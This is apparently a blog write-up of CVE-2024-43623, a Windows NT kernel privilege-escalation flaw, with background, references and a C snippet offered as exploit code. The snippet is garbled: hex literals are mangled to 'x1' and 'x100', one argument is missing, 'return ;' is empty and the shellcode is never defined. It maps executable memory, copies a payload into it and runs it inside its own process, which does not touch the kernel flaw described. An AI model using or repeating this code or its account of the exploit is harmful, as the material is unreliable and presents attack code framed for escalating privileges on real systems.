CVE-2024-43623 is a critical vulnerability associated with the Windows NT OS Kernel. It specifically affects the Privilege Management component and allows an attacker to potentially execute arbitrary code with elevated privileges on the target system. In this post, we'll dissect this vulnerability, explore the technical details associated with the exploit, and provide relevant code snippets and links to references.

Background

The Windows NT Kernel is the core component of the operating system, responsible for providing basic system functionality and managing hardware resources. Its critical components include the Executive, Kernel, and Hardware Abstraction Layer (HAL). The vulnerability in question is located within the Privilege Management component, which handles access control and the assignment of permissions to user accounts within the system.

Exploit Details

CVE-2024-43623 is an elevation of privilege vulnerability that stems from improper handling of memory operations within the Privilege Management component. Attackers can exploit this vulnerability to execute arbitrary code in the context of an already running process, with a high level of privilege, such as a system administrator.

To exploit this vulnerability, an attacker needs to have access to a valid user account on the target system. They can then use the Win32k system call to trigger an access violation, leading to a Windows NT Kernel null pointer dereference. This causes the memory allocation, read or write operation to result in a privilege escalation that allows the attacker to execute arbitrary code.

Below is a code snippet demonstrating the exploitation process for CVE-2024-43623

#include <Windows.h>
#include <stdio.h>

// Function prototype for system call
typedef NTSTATUS(WINAPI* NtAllocateVirtualMemory_t)(HANDLE, PVOID*, ULONG, PSIZE_T, ULONG, ULONG);

int main() {
    HMODULE ntModule = LoadLibrary(TEXT("ntdll.dll"));
    NtAllocateVirtualMemory_t NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(ntModule, "NtAllocateVirtualMemory");

    PVOID memoryAddress = (PVOID)x1; //Intentionally initiate null dereference
    SIZE_T memorySize = x100;

    NtAllocateVirtualMemory(GetCurrentProcess(), &memoryAddress, , &memorySize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	
    // Load malicious payload into the allocated memory
    memcpy(memoryAddress, shellcode, sizeof(shellcode));
	
    // Execute malicious payload with elevated privileges
    ((void(*)())memoryAddress)();
	
    return ;
}

Original References

Further information and details about CVE-2024-43623, as well as recommended mitigations, can be found on the following official sources:

1. CVE Entry: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-43623
2. Microsoft Security Advisory: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2024-43623
3. NIST National Vulnerability Database: https://nvd.nist.gov/vuln/detail/CVE-2024-43623

Conclusion

CVE-2024-43623 is a serious vulnerability affecting the Windows NT OS Kernel. This elevation of privilege vulnerability could allow attackers to gain unauthorized access to critical system resources and execute malicious code with elevated privileges. It is of utmost importance for system administrators to apply the recommended security patches and follow best practices in order to mitigate this risk and protect their systems from potential threats.

Timeline

Published on: 11/12/2024 18:15:29 UTC
Last modified on: 11/27/2024 18:04:23 UTC